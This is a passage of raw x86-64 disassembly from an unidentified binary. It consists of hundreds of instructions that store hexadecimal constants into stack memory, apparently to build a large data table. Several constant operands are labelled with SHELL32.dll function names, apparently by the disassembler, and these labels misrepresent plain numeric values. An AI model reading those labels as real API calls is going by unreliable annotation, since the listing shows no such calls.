movabs rax, 0x71e7616784d2cb
mov qword [rsp + 0xef90], rax
mov byte [rsp + 0x3b6], 0xc0
mov dword [rsp + 0x77dc], 0xc9be
movabs rax, 0x72b703ab332e77
mov qword [rsp + 0xef98], rax
mov eax, 0x302
mov word [rsp + 0x209c], ax
mov byte [rsp + 0x3b7], 0xc0
movabs rax, 0x7d26bd9abd3b32
mov qword [rsp + 0xefa0], rax
mov byte [rsp + 0x3b8], PathMakeUniqueName
movabs rax, 0x7bfbd3dd18cebf
mov qword [rsp + 0xefa8], rax
mov eax, 0x3e6
mov word [rsp + 0x20a0], ax
movabs rax, 0x76726dd5c5ecad
mov qword [rsp + 0xefb0], rax
mov eax, 0x198
mov word [rsp + 0x20a4], ax
mov byte [rsp + 0x3b9], 6
movabs rax, 0x79c96aacd514c8
mov qword [rsp + 0xefb8], rax
movabs rax, 0x7d9ffbb7ae6637
mov qword [rsp + 0xefc0], rax
mov dword [rsp + 0x77e0], 0xc978
movabs rax, 0x7dffc77126591e
mov qword [rsp + 0xefc8], rax
mov eax, 0x5dc
mov word [rsp + 0x20a8], ax
mov eax, 0x88b
mov word [rsp + 0x20ac], ax
movabs rax, 0x7c027f95c95db8
mov qword [rsp + 0xefd0], rax
mov eax, PathMakeUniqueName
mov word [rsp + 0x20b0], ax
movabs rax, 0x7a4d4c7d384770
mov qword [rsp + 0xefd8], rax
mov byte [rsp + 0x3ba], ILRemoveLastID
mov eax, 0x3c2
mov word [rsp + 0x20b4], ax
mov dword [rsp + 0x77e4], 0x6189
mov eax, 0xe5a
mov word [rsp + 0x20b8], ax
mov eax, 0xaa
mov word [rsp + 0x20bc], ax
mov dword [rsp + 0x77e8], 0x4422
mov byte [rsp + 0x3bb], ILIsParent
mov dword [rsp + 0x77ec], 0x55d9
mov eax, 0x340
mov word [rsp + 0x20c0], ax
mov dword [rsp + 0x77f0], 0x3e1d
mov byte [rsp + 0x3bc], 0x6e
mov eax, 0xa9f
mov word [rsp + 0x20c4], ax
mov dword [rsp + 0x77f4], 0xaae0
movabs rax, 0x717df593575053
mov qword [rsp + 0xefe0], rax
mov eax, 0xf88
mov word [rsp + 0x20c8], ax
mov byte [rsp + 0x3bd], 0xf7
mov dword [rsp + 0x77f8], 0x1798
movabs rax, 0x7542c1b7089356
mov qword [rsp + 0xefe8], rax
mov byte [rsp + 0x3be], ILRemoveLastID
movabs rax, 0x74b9107d09a0c3
mov qword [rsp + 0xeff0], rax
movabs rax, 0x7095cbae63549d
mov qword [rsp + 0xeff8], rax
mov eax, 0x614
mov word [rsp + 0x20cc], ax
mov dword [rsp + 0x77fc], 0x6fdc
mov eax, reloc.SHELL32.dll_ILCloneFirst
mov word [rsp + 0x20d0], ax
mov eax, 0x9b0
mov word [rsp + 0x20d4], ax
mov byte [rsp + 0x3bf], PathYetAnotherMakeUniqueName
movabs rax, 0x735eb5343260d1
mov qword [rsp + 0xf000], rax
mov eax, 0x4b1
mov word [rsp + 0x20d8], ax
mov byte [rsp + 0x3c0], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov byte [rsp + 0x3c1], 0xd4
mov eax, 0x6e0
mov word [rsp + 0x20dc], ax
mov byte [rsp + 0x3c2], 0x41
mov byte [rsp + 0x3c3], reloc.SHELL32.dll_ILClone
movabs rax, 0x7ca0cefcc9f69d
mov qword [rsp + 0xf008], rax
movabs rax, 0x7ad87ffcf0a657
mov qword [rsp + 0xf010], rax
mov byte [rsp + 0x3c4], 0x6e
movabs rax, 0x7add35f9b423f1
mov qword [rsp + 0xf018], rax
mov eax, 0x70e
mov word [rsp + 0x20e0], ax
mov dword [rsp + 0x7800], 0xa5d1
mov eax, 0xca
mov word [rsp + 0x20e4], ax
mov eax, 0x69b
mov word [rsp + 0x20e8], ax
mov eax, 0xf3
mov word [rsp + 0x20ec], ax
movabs rax, 0x7de9795c7f7db0
mov qword [rsp + 0xf020], rax
movabs rax, 0x760916c0e4d383
mov qword [rsp + 0xf028], rax
movabs rax, 0x78252328d21d8f
mov qword [rsp + 0xf030], rax
mov byte [rsp + 0x3c5], 0xf4
mov dword [rsp + 0x7804], 0x3ae4
mov byte [rsp + 0x3c6], 0x75
mov dword [rsp + 0x7808], 0x126f
mov eax, 0x6b5
mov word [rsp + 0x20f0], ax
mov dword [rsp + 0x780c], 0x7f4f
mov byte [rsp + 0x3c7], 0xe4
mov byte [rsp + 0x3c8], 0x6a
mov byte [rsp + 0x3c9], 0xf5
mov eax, 0xec9
mov word [rsp + 0x20f4], ax
mov dword [rsp + 0x7810], 0x6bb3
movabs rax, 0x7c36e8f2ab9cff
mov qword [rsp + 0xf038], rax
mov dword [rsp + 0x7814], 0x4838
movabs rax, 0x7c350ce7373254
mov qword [rsp + 0xf040], rax
movabs rax, 0x76f32013d4cee4
mov qword [rsp + 0xf048], rax
mov byte [rsp + 0x3ca], 0xdc
mov byte [rsp + 0x3cb], 0x72
mov dword [rsp + 0x7818], 0xa2c3
movabs rax, 0x70a080ba9d1465
mov qword [rsp + 0xf050], rax
mov byte [rsp + 0x3cc], 9
mov eax, 0x1a6
mov word [rsp + 0x20f8], ax
mov dword [rsp + 0x781c], 0x3c8b
mov byte [rsp + 0x3cd], 0x4d
mov byte [rsp + 0x3ce], 0x5f
mov eax, 0xf9e
mov word [rsp + 0x20fc], ax
mov eax, 0x337
mov word [rsp + 0x2100], ax
movabs rax, 0x7d90c3a35b4f36
mov qword [rsp + 0xf058], rax
mov dword [rsp + 0x7820], 0xdfef
mov byte [rsp + 0x3cf], ILGetNext
mov eax, 0x31a
mov word [rsp + 0x2104], ax
mov byte [rsp + 0x3d0], SHSetInstanceExplorer
mov byte [rsp + 0x3d1], 0x39
movabs rax, 0x7a8764105b293d
mov qword [rsp + 0xf060], rax
movabs rax, 0x7e4a91e92b0b56
mov qword [rsp + 0xf068], rax
mov eax, 0x209
mov word [rsp + 0x2108], ax
mov eax, 0x55b
mov word [rsp + 0x210c], ax
movabs rax, 0x7e803cb0056676
mov qword [rsp + 0xf070], rax
mov eax, 0x7fc
mov word [rsp + 0x2110], ax
movabs rax, 0x7ba3531814a725
mov qword [rsp + 0xf078], rax
mov eax, 0x6be
mov word [rsp + 0x2114], ax
movabs rax, 0x7cfc7a1901b923
mov qword [rsp + 0xf080], rax
movabs rax, 0x7a75625b656a7c
mov qword [rsp + 0xf088], rax
movabs rax, 0x7a9a1435c670bb
mov qword [rsp + 0xf090], rax
mov dword [rsp + 0x7824], 0x3958
movabs rax, 0x7b69699ce66bc6
mov qword [rsp + 0xf098], rax
mov eax, 0x901
mov word [rsp + 0x2118], ax
mov dword [rsp + 0x7828], 0x54b0
mov dword [rsp + 0x782c], 0x4eea
mov dword [rsp + 0x7830], 0xc677
mov byte [rsp + 0x3d2], 0xf2
mov eax, 0x44b
mov word [rsp + 0x211c], ax
movabs rax, 0x7e556b39fa8234
mov qword [rsp + 0xf0a0], rax
mov dword [rsp + 0x7834], 0x51d9
mov byte [rsp + 0x3d3], 0x68
mov eax, 0x34a
mov word [rsp + 0x2120], ax
mov dword [rsp + 0x7838], 0xd8f4
mov eax, 0x363
mov word [rsp + 0x2124], ax
movabs rax, 0x73bfdf7bd47ff4
mov qword [rsp + 0xf0a8], rax
mov dword [rsp + 0x783c], 0x38d5
mov dword [rsp + 0x7840], 0x1c63
mov dword [rsp + 0x7844], 0xda55
mov eax, 0x52f
mov word [rsp + 0x2128], ax
mov dword [rsp + 0x7848], 0xda52
mov eax, 0x5bd
mov word [rsp + 0x212c], ax
movabs rax, 0x7770cde7c15734
mov qword [rsp + 0xf0b0], rax
movabs rax, 0x7777c8c60447ab
mov qword [rsp + 0xf0b8], rax
mov eax, 0xeb2
mov word [rsp + 0x2130], ax
mov eax, 0x3bd
mov word [rsp + 0x2134], ax
mov dword [rsp + 0x784c], 0x56eb
mov eax, 0x718
mov word [rsp + 0x2138], ax
mov byte [rsp + 0x3d4], 0x7b
movabs rax, 0x7a141540831370
mov qword [rsp + 0xf0c0], rax
mov byte [rsp + 0x3d5], 0x34
movabs rax, 0x7a01af475ad36f
mov qword [rsp + 0xf0c8], rax
movabs rax, 0x72b6979bea2234
mov qword [rsp + 0xf0d0], rax
movabs rax, 0x7e9c3874dbfba0
mov qword [rsp + 0xf0d8], rax
mov byte [rsp + 0x3d6], 0x1d
mov dword [rsp + 0x7850], 0xc195
mov byte [rsp + 0x3d7], 0x69
mov dword [rsp + 0x7854], 0x2c75
mov byte [rsp + 0x3d8], 0
mov dword [rsp + 0x7858], 0x6474
movabs rax, 0x755eef8952d629
mov qword [rsp + 0xf0e0], rax
mov dword [rsp + 0x785c], 0xd97c
mov byte [rsp + 0x3d9], ILIsParent
mov eax, 0x92c
mov word [rsp + 0x213c], ax
movabs rax, 0x716cf000bd709b
mov qword [rsp + 0xf0e8], rax
mov eax, 0x727
mov word [rsp + 0x2140], ax
mov byte [rsp + 0x3da], 0x3f
mov byte [rsp + 0x3db], 0x5c
mov eax, 0x83a
mov word [rsp + 0x2144], ax
mov dword [rsp + 0x7860], 0xb6e6
mov byte [rsp + 0x3dc], ILCreateFromPathW
mov byte [rsp + 0x3dd], 0x4e
mov eax, 0xb72
mov word [rsp + 0x2148], ax
mov dword [rsp + 0x7864], 0x5339
mov eax, 0x20
mov word [rsp + 0x214c], ax
mov byte [rsp + 0x3de], 0xf3
movabs rax, 0x73e80210c61a42
mov qword [rsp + 0xf0f0], rax
mov dword [rsp + 0x7868], 0x519
mov byte [rsp + 0x3df], 0x20
movabs rax, 0x7c9c121643cb74
mov qword [rsp + 0xf0f8], rax
mov eax, 0x585
mov word [rsp + 0x2150], ax
mov eax, 0x45
mov word [rsp + 0x2154], ax
movabs rax, 0x755cfd827459d6
mov qword [rsp + 0xf100], rax
mov eax, 0x99e
mov word [rsp + 0x2158], ax
mov dword [rsp + 0x786c], 0x42c4
mov dword [rsp + 0x7870], 0x9a3b
mov eax, 0x41e
mov word [rsp + 0x215c], ax
mov byte [rsp + 0x3e0], 0x9f
movabs rax, 0x7013b9f68c5031
mov qword [rsp + 0xf108], rax
mov eax, 0x562
mov word [rsp + 0x2160], ax
mov byte [rsp + 0x3e1], 0x73
mov byte [rsp + 0x3e2], 0x4c
mov eax, 0x3fa
mov word [rsp + 0x2164], ax
movabs rax, 0x7d3054800da9b8
mov qword [rsp + 0xf110], rax
mov eax, 0x1eb
mov word [rsp + 0x2168], ax
mov byte [rsp + 0x3e3], 0xfd
movabs rax, 0x799e8846fc18e5
mov qword [rsp + 0xf118], rax
mov eax, 0x129
mov word [rsp + 0x216c], ax
mov dword [rsp + 0x7874], 0x393b
mov eax, 0x30c
mov word [rsp + 0x2170], ax
mov dword [rsp + 0x7878], 0x539a
mov dword [rsp + 0x787c], 0x55f6
movabs rax, 0x701c2e5c94f6fd
mov qword [rsp + 0xf120], rax
mov dword [rsp + 0x7880], 0x33a5
mov byte [rsp + 0x3e4], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x75b1338ce76f27
mov qword [rsp + 0xf128], rax
mov dword [rsp + 0x7884], 0xf3b7
mov eax, 0xf2e
mov word [rsp + 0x2174], ax
mov eax, 0xd38
mov word [rsp + 0x2178], ax
mov byte [rsp + 0x3e5], 0x6b
mov dword [rsp + 0x7888], 0x6208
movabs rax, 0x78f1d982f60ea5
mov qword [rsp + 0xf130], rax
mov byte [rsp + 0x3e6], 0x50
mov dword [rsp + 0x788c], 0xe5a2
mov byte [rsp + 0x3e7], 0x9e
movabs rax, 0x739eddd9150cb6
mov qword [rsp + 0xf138], rax
mov dword [rsp + 0x7890], 0x2bb4
mov eax, 0x534
mov word [rsp + 0x217c], ax
movabs rax, 0x75be2705f4d600
mov qword [rsp + 0xf140], rax
movabs rax, 0x73bd7c4f5ed3c5
mov qword [rsp + 0xf148], rax
mov byte [rsp + 0x3e8], SHDoDragDrop
mov byte [rsp + 0x3e9], 0x9b
mov eax, 0x107
mov word [rsp + 0x2180], ax
mov dword [rsp + 0x7894], 0x4a7e
movabs rax, 0x73fac233d6aedf
mov qword [rsp + 0xf150], rax
mov byte [rsp + 0x3ea], 0x1d
movabs rax, 0x72446f5ab6cfb6
mov qword [rsp + 0xf158], rax
mov eax, 0x99b
mov word [rsp + 0x2184], ax
mov dword [rsp + 0x7898], 0x540f
mov byte [rsp + 0x3eb], 0x4c
mov dword [rsp + 0x789c], 0x520
mov byte [rsp + 0x3ec], 9
mov dword [rsp + 0x78a0], 0x2134
mov byte [rsp + 0x3ed], 0xb1
mov eax, 0xaea
mov word [rsp + 0x2188], ax
mov eax, 0x393
mov word [rsp + 0x218c], ax
movabs rax, 0x7b5664313fac03
mov qword [rsp + 0xf160], rax
mov dword [rsp + 0x78a4], 0xa9ea
movabs rax, 0x7919206fe9813f
mov qword [rsp + 0xf168], rax
mov dword [rsp + 0x78a8], 0x2df5
movabs rax, 0x71f887cb4c9809
mov qword [rsp + 0xf170], rax
movabs rax, 0x702802aa5ac3b0
mov qword [rsp + 0xf178], rax
movabs rax, 0x7654534694474a
mov qword [rsp + 0xf180], rax
mov dword [rsp + 0x78ac], 0x51f6
mov dword [rsp + 0x78b0], 0x3046
mov dword [rsp + 0x78b4], 0x3dd5
movabs rax, 0x76241524457c42
mov qword [rsp + 0xf188], rax
mov dword [rsp + 0x78b8], 0x8537
mov eax, 0x3f7
mov word [rsp + 0x2190], ax
mov eax, 0x29a
mov word [rsp + 0x2194], ax
mov byte [rsp + 0x3ee], 0x20
mov dword [rsp + 0x78bc], 0xb1cb
mov eax, 0x6c8
mov word [rsp + 0x2198], ax
movabs rax, 0x75362e2df1eee8
mov qword [rsp + 0xf190], rax
mov dword [rsp + 0x78c0], 0x3bfe
mov eax, 0x27b
mov word [rsp + 0x219c], ax
mov byte [rsp + 0x3ef], 0x70
mov eax, 0x8b7
mov word [rsp + 0x21a0], ax
mov dword [rsp + 0x78c4], 0x66f6
movabs rax, 0x79bd26449a8328
mov qword [rsp + 0xf198], rax
movabs rax, 0x7954ada0242f70
mov qword [rsp + 0xf1a0], rax
movabs rax, 0x754e6e2b36198d
mov qword [rsp + 0xf1a8], rax
movabs rax, 0x78f6a53f74549d
mov qword [rsp + 0xf1b0], rax
mov eax, 0x5dc
mov word [rsp + 0x21a4], ax
mov byte [rsp + 0x3f0], 0xaa
movabs rax, 0x7d2a76ef59f554
mov qword [rsp + 0xf1b8], rax
mov eax, 0x5f1
mov word [rsp + 0x21a8], ax
movabs rax, 0x72ffdfa2bb90f8
mov qword [rsp + 0xf1c0], rax
mov byte [rsp + 0x3f1], 0x5b
mov byte [rsp + 0x3f2], 0xe9
mov byte [rsp + 0x3f3], 0x32
mov dword [rsp + 0x78c8], 0x44bd
mov eax, 0x4b3
mov word [rsp + 0x21ac], ax
movabs rax, 0x7ef3d895e9513d
mov qword [rsp + 0xf1c8], rax
movabs rax, 0x7c412d6b2f296e
mov qword [rsp + 0xf1d0], rax
mov byte [rsp + 0x3f4], 0x14
mov eax, 0x9d6
mov word [rsp + 0x21b0], ax
mov byte [rsp + 0x3f5], 0x70
mov dword [rsp + 0x78cc], 0x1ea2
mov eax, 0x6c3
mov word [rsp + 0x21b4], ax
mov eax, 0xb7c
mov word [rsp + 0x21b8], ax
mov dword [rsp + 0x78d0], 0x608f
mov byte [rsp + 0x3f6], 0xb
mov eax, 0x7bb
mov word [rsp + 0x21bc], ax
mov eax, 0x2ae
mov word [rsp + 0x21c0], ax
mov eax, 0x620
mov word [rsp + 0x21c4], ax
movabs rax, 0x708a386a853982
mov qword [rsp + 0xf1d8], rax
mov byte [rsp + 0x3f7], 0x74
movabs rax, 0x753d11c14186e0
mov qword [rsp + 0xf1e0], rax
mov dword [rsp + 0x78d4], 0x7fd4
movabs rax, 0x77a497d9d1fc7c
mov qword [rsp + 0xf1e8], rax
movabs rax, 0x7dfbbe19185f41
mov qword [rsp + 0xf1f0], rax
mov byte [rsp + 0x3f8], 0xab
mov dword [rsp + 0x78d8], 0xcb1f
mov byte [rsp + 0x3f9], 4
mov dword [rsp + 0x78dc], 0x3205
mov dword [rsp + 0x78e0], 0x69cf
mov eax, 0x1ac
mov word [rsp + 0x21c8], ax
movabs rax, 0x7e25d0aa9ad2fd
mov qword [rsp + 0xf1f8], rax
mov eax, 0x8b2
mov word [rsp + 0x21cc], ax
mov dword [rsp + 0x78e4], 0xa7c4
mov eax, 0xb3d
mov word [rsp + 0x21d0], ax
movabs rax, 0x7dd8e9d8aded3b
mov qword [rsp + 0xf200], rax
mov byte [rsp + 0x3fa], 0x1c
mov dword [rsp + 0x78e8], 0xe089
mov eax, 0x1a5
mov word [rsp + 0x21d4], ax
mov byte [rsp + 0x3fb], 0xc5
mov eax, 0x68f
mov word [rsp + 0x21d8], ax
mov byte [rsp + 0x3fc], 0x9c
movabs rax, 0x76d84a26246aed
mov qword [rsp + 0xf208], rax
mov eax, 0x315
mov word [rsp + 0x21dc], ax
movabs rax, 0x7d1d70e9fb2c76
mov qword [rsp + 0xf210], rax
movabs rax, 0x7d68b93361118b
mov qword [rsp + 0xf218], rax
mov eax, 0x720
mov word [rsp + 0x21e0], ax
mov byte [rsp + 0x3fd], 0x25
mov eax, 0x5e0
mov word [rsp + 0x21e4], ax
mov eax, 0xf8a
mov word [rsp + 0x21e8], ax
mov byte [rsp + 0x3fe], 0xfd
mov eax, 0x2c6
mov word [rsp + 0x21ec], ax
mov dword [rsp + 0x78ec], 0xeb16
mov eax, 0x1c5
mov word [rsp + 0x21f0], ax
mov byte [rsp + 0x3ff], 0xc0
mov eax, 0xd02
mov word [rsp + 0x21f4], ax
movabs rax, 0x7316b19dd8ece5
mov qword [rsp + 0xf220], rax
mov eax, 0xe8b
mov word [rsp + 0x21f8], ax
mov eax, 0x40c
mov word [rsp + 0x21fc], ax
movabs rax, 0x7461af4f572986
mov qword [rsp + 0xf228], rax
mov eax, 0x5ca
mov word [rsp + 0x2200], ax
movabs rax, 0x764af0d07f41ec
mov qword [rsp + 0xf230], rax
mov byte [rsp + 0x400], 0x63
mov dword [rsp + 0x78f0], 0xe406
mov byte [rsp + 0x401], 0x6a
mov eax, 0x214
mov word [rsp + 0x2204], ax
mov dword [rsp + 0x78f4], 0xbdeb
mov eax, 0x53d
mov word [rsp + 0x2208], ax
mov eax, 0xb8f
mov word [rsp + 0x220c], ax
movabs rax, 0x7ca28a9a4599e3
mov qword [rsp + 0xf238], rax
movabs rax, 0x7e4312e90cd360
mov qword [rsp + 0xf240], rax
movabs rax, 0x720c43ae8d7b25
mov qword [rsp + 0xf248], rax
movabs rax, 0x72c884db88a9e1
mov qword [rsp + 0xf250], rax
mov byte [rsp + 0x402], 0x5b
mov eax, 0x48e
mov word [rsp + 0x2210], ax
mov dword [rsp + 0x78f8], 0x80b5
mov eax, 0x647
mov word [rsp + 0x2214], ax
movabs rax, 0x7ee86971023874
mov qword [rsp + 0xf258], rax
mov eax, 0x3eb
mov word [rsp + 0x2218], ax
movabs rax, 0x7becc9d183d620
mov qword [rsp + 0xf260], rax
mov dword [rsp + 0x78fc], 0x38d8
mov eax, 0x465
mov word [rsp + 0x221c], ax
mov eax, 0xa21
mov word [rsp + 0x2220], ax
mov dword [rsp + 0x7900], 0x5001
mov byte [rsp + 0x403], 0xef
mov byte [rsp + 0x404], 0x9a
mov byte [rsp + 0x405], 0x77
mov eax, 0xca2
mov word [rsp + 0x2224], ax
movabs rax, 0x7a67ee3bff4648
mov qword [rsp + 0xf268], rax
mov byte [rsp + 0x406], 0x15
mov byte [rsp + 0x407], 0x54
mov byte [rsp + 0x408], 0xd3
mov byte [rsp + 0x409], 0x8a
mov eax, 0x5a3
mov word [rsp + 0x2228], ax
mov eax, 0x654
mov word [rsp + 0x222c], ax
mov byte [rsp + 0x40a], 0x40
mov eax, 0x1e1
mov word [rsp + 0x2230], ax
movabs rax, 0x73984c00da148f
mov qword [rsp + 0xf270], rax
mov eax, 0x474
mov word [rsp + 0x2234], ax
mov eax, 0x393
mov word [rsp + 0x2238], ax
mov eax, 0xc3
mov word [rsp + 0x223c], ax
mov byte [rsp + 0x40b], 0x6d
mov byte [rsp + 0x40c], 0x2e
mov eax, 0x8a1
mov word [rsp + 0x2240], ax
movabs rax, 0x72d97a60d51ad9
mov qword [rsp + 0xf278], rax
mov eax, 0x472
mov word [rsp + 0x2244], ax
mov dword [rsp + 0x7904], 0x7e6
mov dword [rsp + 0x7908], 0x16b5
mov dword [rsp + 0x790c], 0xaa8c
mov byte [rsp + 0x40d], 0x25
mov dword [rsp + 0x7910], 0x6af7
mov byte [rsp + 0x40e], 0x64
movabs rax, 0x790ced0ec91c92
mov qword [rsp + 0xf280], rax
movabs rax, 0x771bdc61e3475b
mov qword [rsp + 0xf288], rax
mov dword [rsp + 0x7914], 0xeb1d
mov dword [rsp + 0x7918], 0x295a
mov eax, 0x1cd
mov word [rsp + 0x2248], ax
mov eax, 0x9f8
mov word [rsp + 0x224c], ax
movabs rax, 0x709447a329d961
mov qword [rsp + 0xf290], rax
mov byte [rsp + 0x40f], 0x74
mov eax, 0x2d6
mov word [rsp + 0x2250], ax
mov dword [rsp + 0x791c], 0x61cb
movabs rax, 0x7276b8a5fcb01e
mov qword [rsp + 0xf298], rax
mov eax, 0x52
mov word [rsp + 0x2254], ax
mov eax, 0x4af
mov word [rsp + 0x2258], ax
mov byte [rsp + 0x410], 8
mov eax, 0xa95
mov word [rsp + 0x225c], ax
mov dword [rsp + 0x7920], 0x5522
movabs rax, 0x75ac14ed23930b
mov qword [rsp + 0xf2a0], rax
movabs rax, 0x7933c1b9b0aec2
mov qword [rsp + 0xf2a8], rax
mov byte [rsp + 0x411], 0xcc
mov byte [rsp + 0x412], 0x50
movabs rax, 0x70f278081730bc
mov qword [rsp + 0xf2b0], rax
mov eax, 0x1f9
mov word [rsp + 0x2260], ax
mov byte [rsp + 0x413], 0x1a
movabs rax, 0x7970a4c266ff2b
mov qword [rsp + 0xf2b8], rax
mov eax, 0x27e
mov word [rsp + 0x2264], ax
mov byte [rsp + 0x414], 0x6d
mov dword [rsp + 0x7924], 0x2065
movabs rax, 0x72468750c9c4a9
mov qword [rsp + 0xf2c0], rax
mov eax, 0xe33
mov word [rsp + 0x2268], ax
mov dword [rsp + 0x7928], 0xbae7
mov dword [rsp + 0x792c], 0xe785
mov eax, 0x8c5
mov word [rsp + 0x226c], ax
movabs rax, 0x758a466f029431
mov qword [rsp + 0xf2c8], rax
mov eax, 0x17e
mov word [rsp + 0x2270], ax
mov dword [rsp + 0x7930], 0x32f9
mov dword [rsp + 0x7934], 0x1155
mov dword [rsp + 0x7938], 0x6bd6
mov dword [rsp + 0x793c], 0x7bf1
movabs rax, 0x7ed20e90ff1b97
mov qword [rsp + 0xf2d0], rax
mov byte [rsp + 0x415], 0x15
mov dword [rsp + 0x7940], 0x2cd2
mov dword [rsp + 0x7944], 0x56a2
movabs rax, 0x7313dfc064f95e
mov qword [rsp + 0xf2d8], rax
mov dword [rsp + 0x7948], 0x950
movabs rax, 0x7bd576b0199ba5
mov qword [rsp + 0xf2e0], rax
mov eax, 0x21f
mov word [rsp + 0x2274], ax
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x2278], ax
mov dword [rsp + 0x794c], 0xa1fa
movabs rax, 0x79179069aa183d
mov qword [rsp + 0xf2e8], rax
mov dword [rsp + 0x7950], 0xb139
movabs rax, 0x73db940f0a5b1f
mov qword [rsp + 0xf2f0], rax
mov eax, 0xa87
mov word [rsp + 0x227c], ax
movabs rax, 0x734ab69e59962e
mov qword [rsp + 0xf2f8], rax
movabs rax, 0x7079b5dea4560d
mov qword [rsp + 0xf300], rax
mov eax, 0x42c
mov word [rsp + 0x2280], ax
mov byte [rsp + 0x416], 0x8a
mov byte [rsp + 0x417], 0x5c
mov byte [rsp + 0x418], 0x50
movabs rax, 0x732649a810ecae
mov qword [rsp + 0xf308], rax
mov byte [rsp + 0x419], 0x4f
mov eax, 0x180
mov word [rsp + 0x2284], ax
mov dword [rsp + 0x7954], 0x5c5e
mov byte [rsp + 0x41a], 0x65
mov byte [rsp + 0x41b], 0x4a
mov byte [rsp + 0x41c], 0x88
mov eax, 0x4f3
mov word [rsp + 0x2288], ax
mov dword [rsp + 0x7958], 0x16a2
movabs rax, 0x765c3ff321252a
mov qword [rsp + 0xf310], rax
mov eax, 0x429
mov word [rsp + 0x228c], ax
mov byte [rsp + 0x41d], 0x3b
mov eax, 0x98a
mov word [rsp + 0x2290], ax
movabs rax, 0x7be8cccbb05a74
mov qword [rsp + 0xf318], rax
movabs rax, 0x7e956d7ccbb541
mov qword [rsp + 0xf320], rax
movabs rax, 0x73fca111f953da
mov qword [rsp + 0xf328], rax
movabs rax, 0x7b88cf7f8b1902
mov qword [rsp + 0xf330], rax
mov eax, 0x17d
mov word [rsp + 0x2294], ax
movabs rax, 0x7000d89aee5da7
mov qword [rsp + 0xf338], rax
mov dword [rsp + 0x795c], 0x3da6
movabs rax, 0x7b09586b60997a
mov qword [rsp + 0xf340], rax
movabs rax, 0x7d618c06c717d2
mov qword [rsp + 0xf348], rax
mov eax, 0xbec
mov word [rsp + 0x2298], ax
mov byte [rsp + 0x41e], 0x57
mov eax, 0x6b
mov word [rsp + 0x229c], ax
movabs rax, 0x75a071480dc43f
mov qword [rsp + 0xf350], rax
movabs rax, 0x72b9986ca571b6
mov qword [rsp + 0xf358], rax
mov dword [rsp + 0x7960], 0xd65f
mov dword [rsp + 0x7964], 0x86a3
mov byte [rsp + 0x41f], 0x5e
mov eax, 0xbb9
mov word [rsp + 0x22a0], ax
mov eax, 0x575
mov word [rsp + 0x22a4], ax
movabs rax, 0x7d9e0a76990a7b
mov qword [rsp + 0xf360], rax
mov dword [rsp + 0x7968], 0xac53
mov dword [rsp + 0x796c], 0x3f6f
mov dword [rsp + 0x7970], 0x6d53
mov dword [rsp + 0x7974], 0x1a78
mov dword [rsp + 0x7978], 0x4dcd
mov byte [rsp + 0x420], 0xd3
mov byte [rsp + 0x421], 0xc8
mov byte [rsp + 0x422], 0x5b
movabs rax, 0x790d517b28b333
mov qword [rsp + 0xf368], rax
mov dword [rsp + 0x797c], 0x9c02
mov dword [rsp + 0x7980], 0x7c3f
mov byte [rsp + 0x423], 0xe1
movabs rax, 0x73b969874e5a44
mov qword [rsp + 0xf370], rax
mov byte [rsp + 0x424], 0x40
movabs rax, 0x7bd4aa23a5716d
mov qword [rsp + 0xf378], rax
mov byte [rsp + 0x425], 0xf8
mov eax, 0x721
mov word [rsp + 0x22a8], ax
movabs rax, 0x7569287c6e3cf6
mov qword [rsp + 0xf380], rax
mov eax, 0xc2b
mov word [rsp + 0x22ac], ax
mov eax, 0x9f
mov word [rsp + 0x22b0], ax
movabs rax, 0x7edc5cb6d14258
mov qword [rsp + 0xf388], rax
mov dword [rsp + 0x7984], 0x4bc1
movabs rax, 0x752095f3e477b1
mov qword [rsp + 0xf390], rax
mov eax, 0x313
mov word [rsp + 0x22b4], ax
mov dword [rsp + 0x7988], 0x3f10
mov dword [rsp + 0x798c], 0x533e
mov byte [rsp + 0x426], 0xc9
mov dword [rsp + 0x7990], 0xeede
movabs rax, 0x7894cff437f45d
mov qword [rsp + 0xf398], rax
mov eax, 0x10e
mov word [rsp + 0x22b8], ax
movabs rax, 0x7374022a26e28a
mov qword [rsp + 0xf3a0], rax
movabs rax, 0x7615adb601cf25
mov qword [rsp + 0xf3a8], rax
mov dword [rsp + 0x7994], 0x9ddb
mov eax, 0x2cd
mov word [rsp + 0x22bc], ax
movabs rax, 0x74f73c295fa214
mov qword [rsp + 0xf3b0], rax
movabs rax, 0x78e1e06a3ca9b0
mov qword [rsp + 0xf3b8], rax
mov byte [rsp + 0x427], 0xc3
mov byte [rsp + 0x428], 0x65
movabs rax, 0x75b84cfcc038b0
mov qword [rsp + 0xf3c0], rax
mov dword [rsp + 0x7998], 0x1a4a
mov eax, 0x3f7
mov word [rsp + 0x22c0], ax
mov eax, 0x2a1
mov word [rsp + 0x22c4], ax
movabs rax, 0x747e3ad2eb292a
mov qword [rsp + 0xf3c8], rax
mov byte [rsp + 0x429], 0xcf
mov byte [rsp + 0x42a], 0x8d
mov dword [rsp + 0x799c], 0x37fd
mov eax, 0x76f
mov word [rsp + 0x22c8], ax
movabs rax, 0x791980e2cd1e28
mov qword [rsp + 0xf3d0], rax
mov eax, 0xe4e
mov word [rsp + 0x22cc], ax
mov eax, 0x511
mov word [rsp + 0x22d0], ax
mov eax, 0xbfd
mov word [rsp + 0x22d4], ax
mov dword [rsp + 0x79a0], 0xa452
mov eax, 0x356
mov word [rsp + 0x22d8], ax
mov byte [rsp + 0x42b], 0x42
mov eax, 0x3e7
mov word [rsp + 0x22dc], ax
mov eax, 0xfbf
mov word [rsp + 0x22e0], ax
mov byte [rsp + 0x42c], 0x23
mov dword [rsp + 0x79a4], 0x600e
mov dword [rsp + 0x79a8], 0x7a63
mov byte [rsp + 0x42d], 0x66
mov dword [rsp + 0x79ac], 0x18d5
mov dword [rsp + 0x79b0], 0x4072
mov eax, 0xe4e
mov word [rsp + 0x22e4], ax
movabs rax, 0x7ee3d5e87aefc2
mov qword [rsp + 0xf3d8], rax
mov dword [rsp + 0x79b4], 0x137d
mov byte [rsp + 0x42e], 0x67
mov eax, 0xb39
mov word [rsp + 0x22e8], ax
movabs rax, 0x7b1923d281c3e5
mov qword [rsp + 0xf3e0], rax
mov eax, 0x3c2
mov word [rsp + 0x22ec], ax
movabs rax, 0x7325f455d46ce2
mov qword [rsp + 0xf3e8], rax
mov byte [rsp + 0x42f], 0x39
mov eax, 0x48b
mov word [rsp + 0x22f0], ax
movabs rax, 0x7e08a7dca4dc91
mov qword [rsp + 0xf3f0], rax
mov eax, 0x3c4
mov word [rsp + 0x22f4], ax
movabs rax, 0x77a28f96c032c0
